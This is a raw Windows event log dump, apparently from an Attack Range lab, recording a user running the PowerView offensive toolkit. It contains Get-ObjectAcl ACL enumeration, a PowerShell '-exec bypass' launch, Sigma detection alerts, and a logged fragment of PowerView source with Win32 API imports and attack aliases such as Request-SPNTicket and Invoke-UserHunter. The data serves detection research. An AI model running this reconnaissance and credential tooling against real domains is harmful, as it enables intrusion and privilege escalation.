4104152150x0666766Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{$_; "NOT_$_"}4d3a299d-2700-4d82-987d-f7f59635a54cC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666765Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local438d8261-3eea-4f7a-9c7e-a29b65b6166654264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666764Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local438d8261-3eea-4f7a-9c7e-a29b65b6166654264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666763Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{ $_.Split(',') }438d8261-3eea-4f7a-9c7e-a29b65b61666C:\Users\reed_potts\Downloads\PowerView.ps1 410515102150x0666762Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local80b15e66-d636-40f7-b93e-201114cde69f54264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666761Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11Get-ObjectAcl -Identity reed_potts -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_}80b15e66-d636-40f7-b93e-201114cde69f 410615103150x0666760Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 154100x8000000000000000117316Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:52.751{F02F376E-A308-6442-8939-00000000D902}1048C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe10.0.10011.16384SplunkMonNoHandle Control ProgramWindows (R) Win 7 DDK driverWindows (R) Win 7 DDK providerSplunkMonNoHandle.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-166E-6440-E703-000000000000}0x3e70SystemMD5=37B46253848001FA2332AA649697BBB8,SHA256=DCD0C40579E2F66805D1D9BDA1E8626B0988DF29D85429E492756F02DAEF6AF4,IMPHASH=F63F438A21D8EB823E551166D2E72BD6{00000000-0000-0000-0000-000000000000}1088--- 4688201331200x8020000000000000467163Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x418C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe%%19360x440"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level 7300x8000000000000089112Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FF959D50000","EventID":"5","Execution_ProcessID":"2544","Execution_ThreadID":"4196","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FF959D50000","ImageCheckSum":"205048","ImageLoaded":"\\Windows\\System32\\dbgcore.dll","ImageName":"\\Windows\\System32\\dbgcore.dll","ImageSize":"0x29000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbgcore.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2544","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbgcore.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"9ca2bf31-0570-44d8-a543-534c47c33ed7","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/image_load/image_load_side_load_dbgcore_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbgcore_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGCORE.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-04-21T14:51:50.0422896Z","TimeDateStamp":"1611809694","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-04-21T14:51:52Z"} 7300x8000000000000089111Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FF9523A0000","EventID":"5","Execution_ProcessID":"2544","Execution_ThreadID":"4196","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FF9523A0000","ImageCheckSum":"1575379","ImageLoaded":"\\Windows\\System32\\dbghelp.dll","ImageName":"\\Windows\\System32\\dbghelp.dll","ImageSize":"0x192000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dbghelp.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2544","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems), Wietze Beukema (project and research)","Rule_Description":"Detects DLL sideloading of \"dbghelp.dll\"","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLL mentioned in this rule","Rule_Id":"6414b5cd-b19d-447e-bb5e-9f03940b5784","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_dbghelp_dll.yml","Rule_References":"https://hijacklibs.net/","Rule_Sigtype":"public","Rule_Title":"DLL Sideloading Of DBGHELP.DLL","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-04-21T14:51:50.0418288Z","TimeDateStamp":"1468635229","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-04-21T14:51:52Z"} 7300x8000000000000089110Applicationar-win-2.attackrange.local{"Computer":"ar-win-2","Correlation_ActivityID":"{00000000-0000-0000-0000-000000000000}","DefaultBase":"0x7FF9641E0000","EventID":"5","Execution_ProcessID":"2544","Execution_ThreadID":"5260","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-netmon.exe","ImageBase":"0x7FF9641E0000","ImageCheckSum":"661894","ImageLoaded":"\\Windows\\System32\\dnsapi.dll","ImageName":"\\Windows\\System32\\dnsapi.dll","ImageSize":"0xA2000","Keywords":"0x8000000000000040","Level":"4","Match_Strings":"\\dnsapi.dll in ImageLoaded","Module":"Sigma","Opcode":"0","ProcessId":"2544","Provider_Guid":"{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}","Provider_Name":"Microsoft-Windows-Kernel-Process","Rule_Author":"Nasreddine Bencherchali (Nextron Systems)","Rule_Description":"Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64...)","Rule_FalsePositives":"Legitimate applications loading their own versions of the DLLs mentioned in this rule","Rule_Id":"4fc0deee-0057-4998-ab31-d24e46e0aba4","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/image_load/image_load_side_load_from_non_system_location.yml","Rule_Modified":"2023/03/15","Rule_Path":"public\\windows\\image_load\\image_load_side_load_from_non_system_location.yml","Rule_References":"https://hijacklibs.net/, https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/, https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/, https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md","Rule_Sigtype":"public","Rule_Title":"Potential System DLL Sideloading From Non System Locations","Security_UserID":"S-1-5-18","Task":"5","TimeCreated_SystemTime":"2023-04-21T14:51:49.835629Z","TimeDateStamp":"1617867024","Version":"0","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-04-21T14:51:52Z"} 4688201331200x8020000000000000467162Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x5ecC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe%%19360x440"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level 4688201331200x8020000000000000467161Securityar-win-2.attackrange.localNT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE0x3e70x9f0C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe%%19360x440"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"NULL SID--0x0C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeMandatory Label\System Mandatory Level 154100x8000000000000000117315Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:51.981{F02F376E-A307-6442-8839-00000000D902}1516C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-166E-6440-E703-000000000000}0x3e70SystemMD5=B6E7745CB09028E7A3DA54C910ACBEB9,SHA256=F8DED57BEF961B925BDF3FC9D829FAD82BF436C49BB635AAE75564D70DABA75A,IMPHASH=6A5601498E7E7959885DB6B8832ECC0A{00000000-0000-0000-0000-000000000000}1088--- 154100x8000000000000000117314Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.local-2023-04-21 14:51:51.226{F02F376E-A307-6442-8739-00000000D902}2544C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe9.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{F02F376E-166E-6440-E703-000000000000}0x3e70SystemMD5=80601ED27CFBD56EB4D847556776A4BC,SHA256=9E48FEE0D29DC8867EAEA8BC23ECC2BF46C010FCB215F99122D1F87E1D7D60A1,IMPHASH=E99D29902E9E9D71E38EE092E4F626C7{00000000-0000-0000-0000-000000000000}1088--- 1300x8000000000000089109Applicationar-win-2.attackrange.local{"CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass","Computer":"ar-win-2.attackrange.local","Correlation_ActivityID":"","EventID":"4688","EventRecordID":"467158","Execution_ProcessID":"4","Execution_ThreadID":"2596","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Keywords":"0","Level":"0","MandatoryLabel":"S-1-16-8192","Match_Strings":"' -exec bypass' in CommandLine, \\powershell.exe in Image","Module":"Sigma","NewProcessId":"1344","Opcode":"0","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ProcessId":"5528","Provider_Guid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Provider_Name":"Microsoft-Windows-Security-Auditing","Rule_Author":"Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix)","Rule_Description":"Detects suspicious PowerShell invocation with a parameter substring","Rule_FalsePositives":"Unknown","Rule_Id":"36210e0d-5b19-485d-a087-c096088885f0","Rule_Level":"high","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/process_creation/proc_creation_win_powershell_susp_parameter_variation.yml","Rule_Modified":"2022/07/14","Rule_Path":"public\\windows\\process_creation\\proc_creation_win_powershell_susp_parameter_variation.yml","Rule_References":"http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier","Rule_Sigtype":"public","Rule_Title":"Suspicious PowerShell Parameter Substring","Security_UserID":"","Source":"Security","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0xd1218a","SubjectUserName":"reed_potts","SubjectUserSid":"S-1-5-21-537851375-1300420925-1735565775-2696","TargetDomainName":"-","TargetLogonId":"0x0","TargetUserName":"-","TargetUserSid":"S-1-0-0","Task":"13312","TimeCreated_SystemTime":"2023-04-21T14:51:23.8484704Z","TokenElevationType":"%%1938","Version":"2","Winversion":"14393","level":"warning","msg":"Sigma match found","time":"2023-04-21T14:51:33Z"} 1400x8000000000000089108Applicationar-win-2.attackrange.local{"CommandLine":"\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -exec bypass","Computer":"ar-win-2.attackrange.local","Correlation_ActivityID":"","EventID":"4688","EventRecordID":"467158","Execution_ProcessID":"4","Execution_ThreadID":"2596","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Keywords":"0","Level":"0","MandatoryLabel":"S-1-16-8192","Match_Strings":"' -exec ' in CommandLine, bypass in CommandLine","Module":"Sigma","NewProcessId":"1344","Opcode":"0","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ProcessId":"5528","Provider_Guid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Provider_Name":"Microsoft-Windows-Security-Auditing","Rule_Author":"frack113","Rule_Description":"Detects use of executionpolicy option to set insecure policies","Rule_FalsePositives":"Administrator script","Rule_Id":"87e3c4e8-a6a8-4ad9-bb4f-46e7ff99a180","Rule_Level":"medium","Rule_Link":"https://github.com/SigmaHQ/sigma/blob/0.22-2479-gf86469295/rules/windows/process_creation/proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_Modified":"2022/09/10","Rule_Path":"public\\windows\\process_creation\\proc_creation_win_powershell_set_policies_to_unsecure_level.yml","Rule_References":"https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.1, https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.1, https://adsecurity.org/?p=2604, https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/","Rule_Sigtype":"public","Rule_Title":"Change PowerShell Policies to an Insecure Level","Security_UserID":"","Source":"Security","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0xd1218a","SubjectUserName":"reed_potts","SubjectUserSid":"S-1-5-21-537851375-1300420925-1735565775-2696","TargetDomainName":"-","TargetLogonId":"0x0","TargetUserName":"-","TargetUserSid":"S-1-0-0","Task":"13312","TimeCreated_SystemTime":"2023-04-21T14:51:23.8484704Z","TokenElevationType":"%%1938","Version":"2","Winversion":"14393","level":"notice","msg":"Sigma match found","time":"2023-04-21T14:51:33Z"} 410515102150x0666759Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localc5b415f6-f13a-41be-8eab-b68ae0423db354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666758Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locala05b78a3-18fe-4605-ab24-9863cf464de354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666757Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666756Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local5c507ae4-b614-4480-875c-fe238637bb8d54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666755Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.locala05b78a3-18fe-4605-ab24-9863cf464de354264437-4f42-4df9-8829-9527f33cd4fe 4104152150x0666754Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11prompta05b78a3-18fe-4605-ab24-9863cf464de3 410615103150x0666753Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local670f372b-c97a-450f-ad01-9ed9592a488554264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666752Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local670f372b-c97a-450f-ad01-9ed9592a488554264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666751Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localbf80524e-56b5-4a98-a9fc-ba70090ff2cc54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666750Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local421dbab9-027c-419f-a5e4-d72557c38f3354264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666749Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1de4b352-930a-4da9-8a4f-9513f81af57a54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666748Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local1de4b352-930a-4da9-8a4f-9513f81af57a54264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666747Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])}1de4b352-930a-4da9-8a4f-9513f81af57aC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666746Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666745Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666744Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666743Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666742Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666741Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666740Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666739Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666738Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666737Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666736Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666735Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666734Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666733Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666732Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666731Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666730Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666729Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666728Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666727Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666726Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666725Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666724Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666723Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666722Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666721Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.localdf665e77-3dee-4686-a4bf-ae4e3812680e54264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666720Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])}df665e77-3dee-4686-a4bf-ae4e3812680eC:\Users\reed_potts\Downloads\PowerView.ps1 410615103150x0666719Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666718Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666717Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666716Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666715Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666714Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410615103150x0666713Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 410515102150x0666712Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local98c99090-33d0-4870-8342-a726307cd1b754264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666711Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local11{($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])}98c99090-33d0-4870-8342-a726307cd1b7C:\Users\reed_potts\Downloads\PowerView.ps1 410515102150x0666710Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local421dbab9-027c-419f-a5e4-d72557c38f3354264437-4f42-4df9-8829-9527f33cd4fe 4104132150x0666709Microsoft-Windows-PowerShell/Operationalar-win-2.attackrange.local4141@('LPWStr') Flags = field 2 $DsDomainFlag ParentIndex = field 3 UInt32 TrustType = field 4 $DsDomainTrustType TrustAttributes = field 5 $DsDomainTrustAttributes DomainSid = field 6 IntPtr DomainGuid = field 7 Guid } # used by WNetAddConnection2W $NETRESOURCEW = struct $Mod NETRESOURCEW @{ dwScope = field 0 UInt32 dwType = field 1 UInt32 dwDisplayType = field 2 UInt32 dwUsage = field 3 UInt32 lpLocalName = field 4 String -MarshalAs @('LPWStr') lpRemoteName = field 5 String -MarshalAs @('LPWStr') lpComment = field 6 String -MarshalAs @('LPWStr') lpProvider = field 7 String -MarshalAs @('LPWStr') } # all of the Win32 API functions we need $FunctionDefinitions = @( (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError), (func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError), (func advapi32 RevertToSelf ([Bool]) @() -SetLastError), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), (func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])), (func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])), (func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError) ) $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Wtsapi32 = $Types['wtsapi32'] $Mpr = $Types['Mpr'] $Kernel32 = $Types['kernel32'] Set-Alias Get-IPAddress Resolve-IPAddress Set-Alias Convert-NameToSid ConvertTo-SID Set-Alias Convert-SidToName ConvertFrom-SID Set-Alias Request-SPNTicket Get-DomainSPNTicket Set-Alias Get-DNSZone Get-DomainDNSZone Set-Alias Get-DNSRecord Get-DomainDNSRecord Set-Alias Get-NetDomain Get-Domain Set-Alias Get-NetDomainController Get-DomainController Set-Alias Get-NetForest Get-Forest Set-Alias Get-NetForestDomain Get-ForestDomain Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog Set-Alias Get-NetUser Get-DomainUser Set-Alias Get-UserEvent Get-DomainUserEvent Set-Alias Get-NetComputer Get-DomainComputer Set-Alias Get-ADObject Get-DomainObject Set-Alias Set-ADObject Set-DomainObject Set-Alias Get-ObjectAcl Get-DomainObjectAcl Set-Alias Add-ObjectAcl Add-DomainObjectAcl Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl Set-Alias Get-GUIDMap Get-DomainGUIDMap Set-Alias Get-NetOU Get-DomainOU Set-Alias Get-NetSite Get-DomainSite Set-Alias Get-NetSubnet Get-DomainSubnet Set-Alias Get-NetGroup Get-DomainGroup Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup Set-Alias Get-NetGroupMember Get-DomainGroupMember Set-Alias Get-NetFileServer Get-DomainFileServer Set-Alias Get-DFSshare Get-DomainDFSShare Set-Alias Get-NetGPO Get-DomainGPO Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping Set-Alias Get-LoggedOnLocal Get-RegLoggedOn Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess Set-Alias Get-SiteName Get-NetComputerSiteName Set-Alias Get-Proxy Get-WMIRegProxy Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive Set-Alias Get-NetProcess Get-WMIProcess Set-Alias Invoke-ThreadedFunction New-ThreadedFunction Set-Alias Invoke-UserHunter 